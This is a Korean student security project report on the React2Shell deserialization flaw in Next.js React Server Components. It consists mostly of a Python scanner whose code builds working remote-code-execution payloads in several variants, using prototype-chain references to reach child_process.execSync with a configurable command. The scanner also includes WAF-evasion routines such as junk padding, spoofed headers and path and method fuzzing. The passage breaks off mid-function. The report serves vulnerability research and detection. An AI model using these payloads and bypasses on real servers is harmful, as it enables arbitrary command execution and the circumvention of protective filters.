ASC

25-2 project

React2Shell RSC 역직렬화 취약점 분석 및 지능형 스캐너 고도화

팀명	학번	이름
Croncrew		
팀장	20231741	이예빈
팀원	20251788	김동후
팀원	20245039	김레빈
팀원	20252724	양상윤
팀원	20231816	정태영
팀원	20245032	최재웅

목차

1. 배경

최근 웹 프레임워크는 서버와 클라이언트의 역할을 재구성하는 방향으로 발전하고 있다. 그 대표적인 사례가 Next.js의 React Server Components(RSC)이다. RSC는 서버에서 컴포넌트를 실행하고 그 결과만을 클라이언트로 전달하는 구조로, 성능 향상과 클라이언트 번들 감소라는 장점을 제공한다.

그러나 이러한 구조는 서버와 클라이언트 간에 복잡한 직렬화, 역직렬화 과정을 요구하며, 이 과정에서 새로운 공격면이 발생한다. 특히 RSC에서 사용되는 Flight Protocol은 객체 참조 기반의 특수 직렬화 구조를 사용하기 때문에, 입력값 검증이 미흡할 경우 역직렬화 취약점이 발생할 수 있다.

이러한 구조적 특성으로 인해, RSC 환경에서 React2Shell이라는 원격 코드 실행(RCE) 취약점이 발견되었다. 본 취약점은 Server Actions 요청 데이터의 역직렬화 과정에서 발생하며, 공격자가 조작된 객체 참조를 주입할 경우 서버 런타임에서 임의 명령어 실행이 가능하다.

2. 목적

본 프로젝트의 목표는 다음과 같다.

- RSC Flight Protocol 구조 및 React2Shell 취약점의 근본 원인 분석
- 다양한 페이로드 변형을 지원하는 지능형 자동 스캐너 개발
- 취약 환경에서의 방어 전략 수립 및 적용

이는 단순한 취약점 재현을 넘어, 탐지-검증-방어를 포함한 통합 보안 모델을 제시하는 것을 목표로 한다.

3. 관련 기술

React Server Components 구조 : RSC는 서버에서 컴포넌트를 실행하고 결과만을 클라이언트에 전달하는 하이브리드 렌더링 구조이다. 이 방식은 클라이언트에서 실행되는 자바스크립트의 양을 줄이고, 서버 전용 로직을 클라이언트에 노출하지 않는 장점을 제공한다. 그러나 서버와 클라이언트 간의 데이터 교환 과정에서 복잡한 직렬화 및 역직렬화가 필요하며, 이 과정이 새로운 공격 벡터를 제공한다.

Flight Protocol 데이터 구조 : Flight Protocol에서는 객체 간 참조를 표현하기 위해 $ 접두사를 사용하는 특수 문자열 구조를 사용한다. 이러한 참고 구조는 역직렬화 과정에서 실제 객체로 재구성되며, 입력 검증이 미흡할 경우 공격자가 의도한 객체 연결이 발생할 수 있다.

4. 발생 원리 및 환경 구성

React2Shell 취약점 발생 원리는 다음 세 단계로 발생한다. 악성 입력 주입, 파서 검증 부재, 프로토타입 체인 악용을 통해 이루어지며, 다음과 같이 패치 이전 실습 환경에서만 구현이 가능하다.

실습 환경 구성

- Next.js 15.1.1
- React 19.0.0
- Node.js 20.x

5. 스캐너 설계

기존 스캐너의 한계 : 단일 PoC 기반 탐지에 의존했으며, 변형 공격이나 환경 차이에 대응하지 못하는 문제가 있었다.

파이프라인 기반 스캐너 구조 : Fingerprint, Safe-probe, Classify, PoC-probe, Verify, Result

응답 분류 모델 : BDGE_BLOCK(WAF 또는 인프라 차단), ACTION_REJECT(Server Action 진입 실패), RSC_PARSER_ERROR(파서 내부 진입), GENERIC_500(일반 오류), REDIRECT_PROOF(취약점 성공 신호)

페이로드 변형 기법

Variant 1 : Constructor Chain

Variant 2 : Double Proto

Variant 3 : FormData.get Exploitation

Variant 4 : Server Reference 변형

Variant 5 : Map Reference

Variant 6 : Unicode Escape

Variant 7 : Nested Prototype

Variant 8 : Hybrid Payload

6. 스캐너 구현

본 스캐너의 단계

- 서버 스캔(Fingerprint + WAF 탐지 + Action ID 추출)
- 진단 및 계획(safe-check로 현재 상태 분류 -> 우회/탐색 전략 수립)
- 실행(상태 기반으로 변형 페이로드 + 경로/헤더/메서드 조합을 시도하고 증거 기

반으로 취약 판정)

실제 구현 코드는 다음과 같다

```
#!/usr/bin/env python3
"""
Pipeline-based React2Shell scanner.

Structure:
main()
  -> run_scanner(url, options)
        [Step 1] step1_server_scan
        [Step 2] step2_diagnose_and_plan
        [Step 3] step3_execute_scan
"""

from __future__ import annotations

import argparse
import re
import sys
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Tuple
from urllib.parse import urlparse, urlunparse

try:
    import requests
    from requests.exceptions import RequestException
except ImportError:
    print("[ERROR] 'requests' is required. Install with: pip install requests")
    sys.exit(1)

POC_PROOF = "11111"
USER_AGENT = "Mozilla/5.0 (PipelineScanner/2.0)"
LOG_LEVELS = {
    "TRACE": 10,
    "DEBUG": 20,
    "INFO": 30,
    "WARN": 40,
    "ERROR": 50,
}
LOG_LEVEL = LOG_LEVELS["DEBUG"]

# Visual indicators (로깅 시스템 상징 가이드)
C_BLUE = "₩₩033[94m"
C_GREEN = "₩₩033[92m"
C_YELLOW = "₩₩033[93m"
C_RED = "₩₩033[91m"
C_BOLD = "₩₩033[1m"
C_CYAN = "₩₩033[96m"
C_END = "₩₩033[0m"
```

```
@dataclass
class Options:
    timeout: int = 15
    verify_ssl: bool = True
    variant_mode: str = "SMART"   # SINGLE, SMART, ALL
    stop_on_success: bool = True
    log_level: str = "DEBUG"

@dataclass
class TargetInfo:
    raw_url: str
    normalized_url: str
    root_url: str
    framework: str
    fingerprint_signals: List[str] = field(default_factory=list)
    waf_vendors: List[str] = field(default_factory=list)
    action_id: Optional[str] = None
    last_headers: Dict[str, str] = field(default_factory=dict)
    last_body_snippet: str = ""
    error: Optional[str] = None

@dataclass
class WafConfig:
    bypass_mode: bool = False
    junk_size_kb: int = 0
    use_unicode: bool = False
    use_chunked: bool = False

@dataclass
class PathConfig:
    http_method: str = "POST"
    custom_headers: Dict[str, str] = field(default_factory=dict)
    path_variants: List[str] = field(default_factory=list)
    header_variants: List[Dict[str, str]] = field(default_factory=list)

@dataclass
class VerificationResult:
    vulnerable: bool
    proof: str
    details: str

def _log(level: str, stage: str, message: str, symbol: str = "-", color: str = "") -> None:
    if LOG_LEVELS[level] >= LOG_LEVEL:
        prefix = f"{color}{symbol}{C_END}" if color else symbol
        stage_part = f"{C_BOLD}{C_CYAN}[{stage}]{C_END} " if stage else ""
        print(f"{prefix} {stage_part}{message}")

def log(stage: str, message: str) -> None:
    _log("INFO", stage, f"{C_BOLD}{message}{C_END}", symbol="[*]", color=C_BLUE)
```

```
def log_success(message: str, stage: str = "") -> None:
    _log("INFO", stage, message, symbol="[+]", color=C_GREEN)

def log_detail(message: str, stage: str = "") -> None:
    _log("INFO", stage, message, symbol="[-]", color="")

def log_critical(message: str, stage: str = "") -> None:
    _log("INFO", stage, f"{C_BOLD}{C_RED}{message}{C_END}", symbol="[!!]",
color=C_YELLOW)

def log_error(message: str, stage: str = "") -> None:
    _log("ERROR", stage, message, symbol="[x]", color=C_RED)

def log_debug(stage: str, message: str) -> None:
    _log("DEBUG", stage, message, symbol="[D]", color="")

def log_trace(stage: str, message: str) -> None:
    _log("TRACE", stage, message, symbol="[T]", color="")

def summarize_headers(headers: Dict[str, str]) -> str:
    if not headers:
        return "none"
    keep = [
        "content-type",
        "location",
        "x-powered-by",
        "x-nextjs-cache",
        "x-nextjs-matched-path",
        "x-nextjs-error-digest",
        "x-action-redirect",
        "server",
        "cf-ray",
        "x-vercel-id",
    ]
    parts = []
    for k, v in headers.items():
        if k.lower() in keep:
            parts.append(f"{k}: {v}")
    return "; ".join(parts) if parts else "none"


def summarize_body(text: str, limit: int = 240) -> str:
    if not text:
        return "empty"
    snippet = text[:limit].replace("₩₩n", "₩₩₩₩n").replace("₩₩r", "₩₩₩₩r")
    if len(text) > limit:
        snippet += "..."
    return snippet


def normalize_url(raw: str) -> str:
    raw = (raw or "").strip()
    if not raw:
        return ""
    if not raw.startswith(("http://", "https://")):
        if raw.startswith(("localhost", "127.0.0.1", "::1")):
            raw = f"http://{raw}"
        else:
            raw = f"https://{raw}"
    parsed = urlparse(raw)
    if not parsed.netloc:
        return ""
    path = parsed.path or "/"
    normalized = urlunparse((parsed.scheme, parsed.netloc, path, "", "", ""))
    log_debug("NORMALIZE", f"raw={raw} normalized={normalized}")
    return normalized


def base_root(url: str) -> str:
    parsed = urlparse(url)
    return urlunparse((parsed.scheme, parsed.netloc, "/", "", "", ""))


def send_request(
    method: str,
    url: str,
    headers: Optional[Dict[str, str]] = None,
    body: Optional[str] = None,
    timeout: int = 15,
        verify_ssl: bool = True,
        allow_redirects: bool = False,
) -> Tuple[Optional[requests.Response], Optional[str]]:
        try:
                body_bytes = body.encode("utf-8") if isinstance(body, str) else body
                log_debug("HTTP", f"request method={method} url={url}")
                log_trace("HTTP", f"request headers={summarize_headers(headers or {})}")
                log_trace("HTTP", f"request body_len={len(body_bytes) if body_bytes is not None
else 0}")
                resp = requests.request(
                        method,
                        url,
                        headers=headers,
                        data=body_bytes if body is not None else None,
                        timeout=timeout,
                        verify=verify_ssl,
                        allow_redirects=allow_redirects,
                )
                log_debug("HTTP", f"response status={resp.status_code}")
                log_trace("HTTP", f"response headers={summarize_headers(dict(resp.headers))}")
                log_trace("HTTP", f"response body_snippet={summarize_body(resp.text or '')}")
                return resp, None
        except RequestException as exc:
                log_debug("HTTP", f"request error={exc}")
                return None, str(exc)
```

```
def analyze_fingerprint(response: requests.Response) -> Tuple[str, List[str]]:
    headers_lower = {k.lower(): v for k, v in response.headers.items()}
    body = response.text or ""
    body_lower = body.lower()

    signals: List[str] = []
    is_next = False
    is_react = False
    is_waku = False

    if "__next_data__" in body_lower or "/_next/" in body_lower:
        is_next = True
        signals.append("next:html_marker")
        log_trace("FINGERPRINT", "hit=__next_data__ or /_next/")
    if "x-powered-by" in headers_lower and "next" in headers_lower["x-powered-
by"].lower():
        is_next = True
        signals.append("next:header_x_powered_by")
        log_trace("FINGERPRINT", "hit=x-powered-by: next")
    if "x-nextjs-cache" in headers_lower or "x-nextjs-matched-path" in headers_lower:
        is_next = True
        signals.append("next:header_x_nextjs")
        log_trace("FINGERPRINT", "hit=x-nextjs-* header")
    if "data-reactroot" in body_lower or "data-reactid" in body_lower:
        is_react = True
        signals.append("react:html_marker")
        log_trace("FINGERPRINT", "hit=react root marker")
    if "react-dom" in body_lower:
        is_react = True
        signals.append("react:bundle_marker")
        log_trace("FINGERPRINT", "hit=react-dom string")

    if "x-waku-id" in headers_lower or "x-waku" in headers_lower:
        is_waku = True
        signals.append("waku:header_marker")
        log_trace("FINGERPRINT", "hit=x-waku* header")
    if "waku" in body_lower and "react" in body_lower:
        is_waku = True
        signals.append("waku:html_marker")
        log_trace("FINGERPRINT", "hit=waku + react in body")

    if is_waku:
        log_success(f"Framework identified: waku (Signals: {', '.join(signals)})",
"FINGERPRINT")
        return "waku", signals
    if is_next:
        log_success(f"Framework identified: next (Signals: {', '.join(signals)})",
"FINGERPRINT")
        return "next", signals
    if is_react:
        log_success(f"Framework identified: react (Signals: {', '.join(signals)})",
"FINGERPRINT")
        return "react", signals
    log_detail("No known framework indicators found.", "FINGERPRINT")
    return "unknown", signals


def detect_waf_signature(headers: Dict[str, str], body: str) -> List[str]:
    hits: List[str] = []
    headers_lower = {k.lower(): v for k, v in headers.items()}
    body_lower = (body or "").lower()


    if "cf-ray" in headers_lower or "cloudflare" in headers_lower.get("server", "").lower():
        hits.append("cloudflare")
        log_trace("WAF", "hit=cloudflare")
    if "x-vercel-id" in headers_lower or "vercel" in headers_lower.get("server", "").lower():
        hits.append("vercel")
        log_trace("WAF", "hit=vercel")
    if "akamai" in headers_lower.get("server", "").lower() or any(k.startswith("x-akamai-")
for k in headers_lower):
        hits.append("akamai")
        log_trace("WAF", "hit=akamai")
    if "x-amzn-errortype" in headers_lower or "aws" in headers_lower.get("server",
"").lower():
        hits.append("aws")
        log_trace("WAF", "hit=aws")
    if "netlify" in headers_lower.get("server", "").lower() or "netlify" in body_lower:
        hits.append("netlify")
        log_trace("WAF", "hit=netlify")
    if "fastly" in headers_lower.get("server", "").lower():
        hits.append("fastly")
        log_trace("WAF", "hit=fastly")

    vendors = sorted(set(hits))
    if vendors:
        log_success(f"WAF vendors detected: {', '.join(vendors)}", "WAF")
    else:
        log_detail("No known WAF signatures detected.", "WAF")
    return vendors

def extract_action_id(html: str) -> Optional[str]:
    """정밀한 Action ID 추출 - 4가지 이상 정규식 패턴으로 난독화/이스케이프 대응."""
    if not html:
        return None
    # Patterns: (regex, "full"=group0/1 is full value, "prefix"=group1 is id only)
    patterns = [
        (r"server₩₩$₩₩$([A-Za-z0-9+/=_-]+)", "prefix"),
        (r"server₩₩₩₩₩₩$₩₩$([A-Za-z0-9+/=_-]+)", "prefix"),
        (r'"actionId":"(server₩₩$₩₩$[A-Za-z0-9+/=_-]+)"', "full"),
        (r'action:"(server₩₩$₩₩$[A-Za-z0-9+/=_-]+)"', "full"),
        (r"server₩₩$₩₩$[A-Za-z0-9_-]+", "full"),
        (r"server₩₩₩₩₩₩$₩₩$[A-Za-z0-9_-]+", "full"),
    ]
    for pat, kind in patterns:
        log_trace("ACTION_ID", f"pattern={pat}")
        match = re.search(pat, html)
        if match:
            if kind == "prefix":
                action_id = "server$$" + match.group(1).replace("₩₩₩₩", "")
            else:
                action_id = (match.group(1) if match.lastindex else
match.group(0)).replace("₩₩₩₩", "")
            log_success(f"Action ID found: {action_id}", "ACTION_ID")
            return action_id
    log_debug("ACTION_ID", "none_found")
    return None


PATH_VARIANTS_ACTION_REJECT = ["/", "/_next", "/api", "/app", "/_next/static"]
PATH_VARIANTS_GENERIC = ["/", "/_next", "/api", "/app"]
METHOD_VARIANTS_GENERIC = ["POST", "PUT", "PATCH"]
NEXT_ACTION_VARIANTS = ["1", "action", "0", "x"]


def build_base_payload(
    proto_path: str = "__proto__:then",
    chunk_id: str = "1",
    command: str = "echo $((41*271))",
) -> Tuple[str, str]:
    """Build RCE payload with customizable proto path and chunk ID."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    prefix_payload = (
        "var res=process.mainModule.require('child_process')"
        f".execSync('{command}').toString().trim();;"
        "throw Object.assign(new Error('NEXT_REDIRECT'),"
        "{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
    )
    part0 = (
        '{"then":"$' + chunk_id + ':' + proto_path + '",'
        '"status":"resolved_model","reason":-1,'
        '"value":"{₩₩₩₩"then₩₩₩₩":₩₩₩₩"$B1337₩₩₩₩"}","_response":{"_prefix":"'
        + prefix_payload
        + '","_chunks":"$Q2","_formData":{"get":"$' + chunk_id +
':constructor:constructor"}}}'
    )
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="0"₩₩r₩₩n₩₩r₩₩n'
        f"{part0}₩₩r₩₩n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="1"₩₩r₩₩n₩₩r₩₩n'
        f'"$@0"₩₩r₩₩n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="2"₩₩r₩₩n₩₩r₩₩n'
        f"[]₩₩r₩₩n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type

def build_minimal_safe_payload() -> Tuple[str, str]:
    """Simplified safe-check payload (minimal structure for validation bypass)."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="0"₩₩r₩₩n₩₩r₩₩n'
        f'["$1:aa"]₩₩r₩₩n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    log_debug("PAYLOAD", f"minimal_safe_payload_len={len(body)}")
    return body, content_type

def build_safe_payload() -> Tuple[str, str]:
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="1"₩₩r₩₩n₩₩r₩₩n'
        f"{{}}₩₩r₩₩n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="0"₩₩r₩₩n₩₩r₩₩n'
        f'["$1:aa:aa"]₩₩r₩₩n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    log_debug("PAYLOAD", f"safe_payload_len={len(body)} content_type={content_type}")
    log_trace("PAYLOAD", f"safe_payload_snippet={summarize_body(body)}")
    return body, content_type


def build_rce_payload(command: str = "echo $((41*271))") -> Tuple[str, str]:
    """Build standard RCE payload (Variant 1: __proto__:then)."""
    body, content_type = build_base_payload(
        proto_path="__proto__:then", chunk_id="1", command=command
    )
    log_debug("PAYLOAD", f"rce_payload_len={len(body)} content_type={content_type}")
    return body, content_type


def build_variant_constructor_chain() -> Tuple[str, str]:
    """Variant 2: constructor:prototype:then path."""
    return build_base_payload(proto_path="constructor:prototype:then", chunk_id="1")


def build_variant_double_proto() -> Tuple[str, str]:
    """Variant 3: __proto__:__proto__:then nested path."""
    return build_base_payload(proto_path="__proto__:__proto__:then", chunk_id="2")


def build_variant_server_reference() -> Tuple[str, str]:
    """Variant 5: Server Reference $h exploitation."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    cmd = "echo $((41*271))"
    prefix_payload = (
        "var res=process.mainModule.require('child_process')"
        f".execSync('{cmd}').toString().trim();;"
        "throw Object.assign(new Error('NEXT_REDIRECT'),"
        "{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
    )
    part0 = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{₩₩₩₩"then₩₩₩₩":₩₩₩₩"$h1337₩₩₩₩"}","_response":{"_prefix":"'
        + prefix_payload
        + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
    )
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="0"₩₩r₩₩n₩₩r₩₩n'
        f"{part0}₩₩r₩₩n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="1"₩₩r₩₩n₩₩r₩₩n'
        f'"$@0"₩₩r₩₩n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="1337"₩₩r₩₩n₩₩r₩₩n'
        f'{{"id":"child_process","bound":null}}₩₩r₩₩n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type


def build_variant_map_reference() -> Tuple[str, str]:
    """Variant 6: Map reference $Q exploitation."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    cmd = "echo $((41*271))"
    prefix_payload = (
        "var res=process.mainModule.require('child_process')"
        f".execSync('{cmd}').toString().trim();;"
        "throw Object.assign(new Error('NEXT_REDIRECT'),"
        "{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
    )
    part0 = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{₩₩₩₩"then₩₩₩₩":₩₩₩₩"$Q1337₩₩₩₩"}","_response":{"_prefix":"'
        + prefix_payload
        + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
    )
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="0"₩₩r₩₩n₩₩r₩₩n'
        f"{part0}₩₩r₩₩n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="1"₩₩r₩₩n₩₩r₩₩n'
        f'"$@0"₩₩r₩₩n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad₩₩r₩₩n"
        f'Content-Disposition: form-data; name="1337"₩₩r₩₩n₩₩r₩₩n'
        f'[["key","value"]]₩₩r₩₩n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type


def build_variant_nested_reference() -> Tuple[str, str]:
    """Variant 8: __proto__:constructor:prototype:then nested path."""
    return build_base_payload(
        proto_path="__proto__:constructor:prototype:then", chunk_id="1"
    )


def get_header_variants_for_edge_block(
    base_headers: Dict[str, str], root_url: str
) -> List[Dict[str, str]]:
    """EDGE_BLOCK: Browser disguise header variants for WAF bypass."""
    parsed = urlparse(root_url)
    host_base = f"{parsed.scheme}://{parsed.netloc}"
    variants = [
        {**base_headers, "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"},
        {**base_headers, "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15"},
        {**base_headers, "X-Forwarded-For": "127.0.0.1"},
        {**base_headers, "Referer": f"{host_base}/"},
        {**base_headers, "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"},
    ]
    return variants


def get_header_variants_for_action_reject(
    base_headers: Dict[str, str], action_id: Optional[str]
) -> List[Dict[str, str]]:
    """ACTION_REJECT: Next-Action header value variants."""
    variants = []
    for na in NEXT_ACTION_VARIANTS + ([action_id] if action_id and action_id not in
NEXT_ACTION_VARIANTS else []):
        h = dict(base_headers)
        h["Next-Action"] = na
        variants.append(h)
    return variants


def get_path_variants_for_action_reject(root_url: str) -> List[str]:
    """ACTION_REJECT: Path variants to try."""
    parsed = urlparse(root_url)
    base = f"{parsed.scheme}://{parsed.netloc}"
    return [base + p for p in PATH_VARIANTS_ACTION_REJECT]


def get_path_variants_for_generic(root_url: str) -> List[str]:
    """GENERIC_500: Path variants for spray strategy."""
    parsed = urlparse(root_url)
    base = f"{parsed.scheme}://{parsed.netloc}"
    return [base + p for p in PATH_VARIANTS_GENERIC]


def get_strategy_variants_for_state(
    state: str,
) -> List[Tuple[str, str, str]]:
    """Return (name, payload, content_type) list for state-based strategy."""
    base_variants = [
        ("standard", *build_rce_payload()),
        ("constructor_chain", *build_variant_constructor_chain()),
        ("double_proto", *build_variant_double_proto()),
        ("server_reference", *build_variant_server_reference()),
        ("map_reference", *build_variant_map_reference()),
        ("nested_reference", *build_variant_nested_reference()),
    ]
    if state == "REACHED":
        return base_variants
    if state == "GENERIC_500":
        return base_variants
    return []

def classify_state(response: requests.Response) -> str:
    status = response.status_code
    headers_lower = {k.lower(): v for k, v in response.headers.items()}
    body = response.text or ""
    body_lower = body.lower()
    log_debug("CLASSIFY", f"status={status}")

    edge_statuses = {403, 406, 429, 503}
    edge_header_hits = [
        "cf-ray" in headers_lower,
        "x-amzn-errortype" in headers_lower,
        any(k.startswith("x-akamai-") for k in headers_lower),
        "x-vercel-id" in headers_lower,
    ]
    edge_body_hits = [
        "access denied" in body_lower,
        "request blocked" in body_lower,
        "forbidden" in body_lower,
        "bot detection" in body_lower,
        "captcha" in body_lower,
    ]
```

```
log_trace("CLASSIFY", f"edge_header_hits={edge_header_hits}")
log_trace("CLASSIFY", f"edge_body_hits={edge_body_hits}")
if status in edge_statuses or any(edge_header_hits) or any(edge_body_hits):
    reasons = []
    if status in edge_statuses:
        reasons.append(f"status={status}")
    if "cf-ray" in headers_lower:
        reasons.append("header:cf-ray")
    if "x-amzn-errortype" in headers_lower:
        reasons.append("header:x-amzn-errortype")
    if any(k.startswith("x-akamai-") for k in headers_lower):
        reasons.append("header:x-akamai-*")
    if "x-vercel-id" in headers_lower:
        reasons.append("header:x-vercel-id")
    if any(edge_body_hits):
        reasons.append("body:block_message")
    log_debug("CLASSIFY", f"state=EDGE_BLOCK reasons={'; '.join(reasons)}")
    return "EDGE_BLOCK"

action_reject_statuses = {400, 405, 422}
action_body_hits = [
    "invalid action" in body_lower,
    "unknown action" in body_lower,
    "bad request" in body_lower,
    "invalid server action" in body_lower,
]
log_trace("CLASSIFY", f"action_body_hits={action_body_hits}")
if status in action_reject_statuses or any(action_body_hits):
    reasons = []
    if status in action_reject_statuses:
        reasons.append(f"status={status}")
    if any(action_body_hits):
        reasons.append("body:action_reject_text")
    log_debug("CLASSIFY", f"state=ACTION_REJECT reasons={'; '.join(reasons)}")
    return "ACTION_REJECT"

digest_header = "x-nextjs-error-digest" in headers_lower
digest_body = 'e{"digest"' in body_lower or '8:{"digest"' in body_lower
log_trace("CLASSIFY", f"digest_header={digest_header} digest_body={digest_body}")
if status == 500 and (digest_header or digest_body):
    reasons = []
    if digest_header:
        reasons.append("header:x-nextjs-error-digest")
    if digest_body:
        reasons.append("body:digest_marker")
    log_debug("CLASSIFY", f"state=REACHED reasons={'; '.join(reasons)}")
    return "REACHED"

if status == 500:
    log_debug("CLASSIFY", "state=GENERIC_500 reasons=status=500")
```

```
        return "GENERIC_500"

    log_debug("CLASSIFY", "state=OTHER")
    return "OTHER"

def step1_server_scan(url: str, options: Options) -> TargetInfo:
    normalized = normalize_url(url)
    if not normalized:
        return TargetInfo(
            raw_url=url,
            normalized_url="",
            root_url="",
            framework="unknown",
            error="invalid url",
        )

    root_url = base_root(normalized)
    print("₩₩n")
    log_debug("STEP1", f"normalized_url={normalized}")
    log_debug("STEP1", f"root_url={root_url}")
    headers = {"User-Agent": USER_AGENT}
    resp, err = send_request("GET", root_url, headers=headers, timeout=options.timeout,
verify_ssl=options.verify_ssl)

    if err or resp is None:
        return TargetInfo(
            raw_url=url,
            normalized_url=normalized,
            root_url=root_url,
            framework="unknown",
            error=err or "no_response",
        )

    framework, signals = analyze_fingerprint(resp)
    waf_vendors = detect_waf_signature(resp.headers, resp.text or "")
    action_id = extract_action_id(resp.text or "")
    snippet = (resp.text or "")[:240].replace("₩₩n", "₩₩₩₩n").replace("₩₩r", "₩₩₩₩r")
    log_debug("STEP1", f"body_snippet={snippet}")

    return TargetInfo(
        raw_url=url,
        normalized_url=normalized,
        root_url=root_url,
        framework=framework,
        fingerprint_signals=signals,
        waf_vendors=waf_vendors,
        action_id=action_id,
        last_headers=dict(resp.headers),
        last_body_snippet=snippet,
    )
```

```
def determine_optimal_junk_size(target_info: TargetInfo, options: Options) -> int:
    """서버 본문 한계 측정 (Capacity Probing) - WAF 검사 범위 초과 시점 탐지."""
    log("PROBE", "measuring server capacity (junk_size)...")
    test_sizes_kb = [128, 512, 1024, 2048, 5120, 10240]
    max_safe_kb = 0

    boundary = "----WebKitFormBoundaryJunkCheck"
    action_id = target_info.action_id or "x"

    for kb in test_sizes_kb:
        log_debug("PROBE", f"testing size={kb}KB")
        junk_data = "A" * (kb * 1024)
        body = (
            f"--{boundary}₩₩r₩₩n"
            f'Content-Disposition: form-data; name="junk"₩₩r₩₩n₩₩r₩₩n'
            f"{junk_data}₩₩r₩₩n"
            f"--{boundary}₩₩r₩₩n"
            f'Content-Disposition: form-data; name="0"₩₩r₩₩n₩₩r₩₩n'
            f'{{}}₩₩r₩₩n'
            f"--{boundary}--"
        )
        headers = {
            "User-Agent": USER_AGENT,
            "Next-Action": action_id,
            "Content-Type": f"multipart/form-data; boundary={boundary}",
        }

        resp, err = send_request(
            "POST",
            target_info.normalized_url,
            headers=headers,
            body=body,
            timeout=options.timeout,
            verify_ssl=options.verify_ssl,
        )

        if err or resp is None:
            log_debug("PROBE", f"size={kb}KB failed: {err or 'no_response'}")
            break

        status = resp.status_code
        body_text = resp.text or ""
        if status == 413 or (status == 500 and "body exceeded limit" in
body_text.lower()):
            log_debug("PROBE", f"size={kb}KB hit server limit (status={status})")
            break

        max_safe_kb = kb
        log_debug("PROBE", f"size={kb}KB is SAFE")
```

```
    log_success(f"Optimal junk size: {max_safe_kb}KB", "PROBE")
    return max_safe_kb

def check_unicode_evasion() -> bool:
    """Unicode escape 우회 사용 여부 (bypass 모드 시 True)."""
    return True

def probe_waf_bypass(target_info: TargetInfo, options: Options) -> WafConfig:
    """동적 장애물 우회 - Capacity Probing + Unicode evasion."""
    log("PROBE", "starting WAF bypass analysis...")
    junk_size = determine_optimal_junk_size(target_info, options)
    use_unicode = check_unicode_evasion()

    return WafConfig(
        bypass_mode=True,
        junk_size_kb=junk_size,
        use_unicode=use_unicode,
        use_chunked=False,
    )

def probe_path_fuzzing(target_info: TargetInfo, options: Options) -> PathConfig:
    """Probe path/method/header combos - 메서드 스와핑(POST/PUT/PATCH/GET) 포함."""
    methods = ["POST", "PUT", "PATCH", "GET"]
```

```
action_id = target_info.action_id or "x"
path_urls = get_path_variants_for_action_reject(target_info.root_url)
header_variants = get_header_variants_for_action_reject(
    {"User-Agent": USER_AGENT, "Content-Type": ""}, action_id
)
payloads_to_try = [
    ("minimal", *build_minimal_safe_payload()),
    ("safe", *build_safe_payload()),
]

log_success(f"Action ID: {action_id}", "PROBE")
log("PROBE", "Starting path fuzzing / method swapping...")

for path_url in path_urls:
    for method in methods:
        for hvar in header_variants:
            for pname, body, content_type in payloads_to_try:
                hdrs = dict(hvar)
                if hdrs.get("Content-Type") == "":
                    del hdrs["Content-Type"]
                hdrs.setdefault("User-Agent", USER_AGENT)
                if method != "GET":
                    hdrs["Content-Type"] = content_type
                    send_body = body
                else:
                    send_body = None
                log_debug("PATH_PROBE", f"path={path_url} method={method}
next_action={hdrs.get('Next-Action')} payload={pname}")
                resp, err = send_request(
                    method,
                    path_url,
                    headers=hdrs,
                    body=send_body,
                    timeout=options.timeout,
                    verify_ssl=options.verify_ssl,
                )
                if err or resp is None:
                    continue
                state = classify_state(resp)
                log_debug("PATH_PROBE", f"method={method} path={path_url}
state={state}")
